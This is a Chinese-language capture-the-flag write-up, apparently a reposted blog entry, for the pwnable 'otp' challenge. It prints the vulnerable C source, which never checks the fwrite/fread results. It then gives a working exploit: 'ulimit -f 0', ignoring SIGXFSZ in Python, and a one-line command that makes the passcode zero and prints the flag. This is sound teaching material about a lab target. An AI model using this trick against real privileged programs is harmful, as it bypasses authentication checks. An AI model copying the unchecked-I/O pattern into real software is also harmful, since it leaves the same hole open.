pwnable(otp)(open,read等函式的檢查缺失)
阿新 • • 發佈:2018-12-12
遠端拷貝檔案到本地 scp -P 2222 [email protected]:/home/otp/opt .
學習到的函式strtoul(argv[1], 0, 16)
str轉化位long,以16進位制方式。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> int main(int argc, char* argv[]){ char fname[128]; unsigned long long otp[2]; if(argc!=2){ printf("usage : ./otp [passcode]\n"); return 0; } int fd = open("/dev/urandom", O_RDONLY); if(fd==-1) exit(-1); if(read(fd, otp, 16)!=16) exit(-1); close(fd); sprintf(fname, "/tmp/%llu", otp[0]); FILE* fp = fopen(fname, "w"); if(fp==NULL){ exit(-1); } fwrite(&otp[1], 8, 1, fp); fclose(fp); printf("OTP generated.\n"); unsigned long long passcode=0; FILE* fp2 = fopen(fname, "r"); if(fp2==NULL){ exit(-1); } fread(&passcode, 8, 1, fp2); fclose(fp2); if(strtoul(argv[1], 0, 16) == passcode){ printf("Congratz!\n"); system("/bin/cat flag"); } else{ printf("OTP mismatch\n"); } unlink(fname); return 0; }
程式生成了一個隨機數放入檔案,然後讀取這個檔案然後讓這個檔案跟輸入的password進行比較相同獲取shell。
這裡可以觀察到fread(&passcode, 8, 1, fp2);
是沒有驗證是否成功的,如果能夠開啟檔案成功但是讀取檔案中內容的時候失敗就能獲取shell。
接下來就是想辦法控制完成這一條件
可以用ulimit
ulimit瞭解一下
在這裡可以設定檔案
[email protected]:~$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) 1500000 scheduling priority (-e) 0 file size (blocks, -f) 120000 pending signals (-i) 31753 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1500 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 300 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited
[email protected]:~$ ulimit -f 0 [email protected]:~$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) 1500000 scheduling priority (-e) 0 file size (blocks, -f) 0 pending signals (-i) 31753 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1500 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 300 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited
設定shell所能建立的最大檔案為0 但是這個時候執行的時候會報錯
[email protected]:~$ ./otp 0
File size limit exceeded
這個錯誤是作為訊號進行傳播的,linux系統中訊號是可以被忽略的
import signal
signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
可以在python的互動視窗中獲取shell
>> import os,signal
>>> signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
1
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0
但是我們還可以直接用一條命令來輸出
ulimit -f 0 && python -c "import os,signal; signal.signal(signal.SIGXFSZ,signal.SIG_IGN); os.system('./otp 0')"
分析:設定ulimit -f 0使fwrite(&otp[1], 8, 1, fp);
失敗,建立的檔案中資料寫入失敗讀取出來的就是0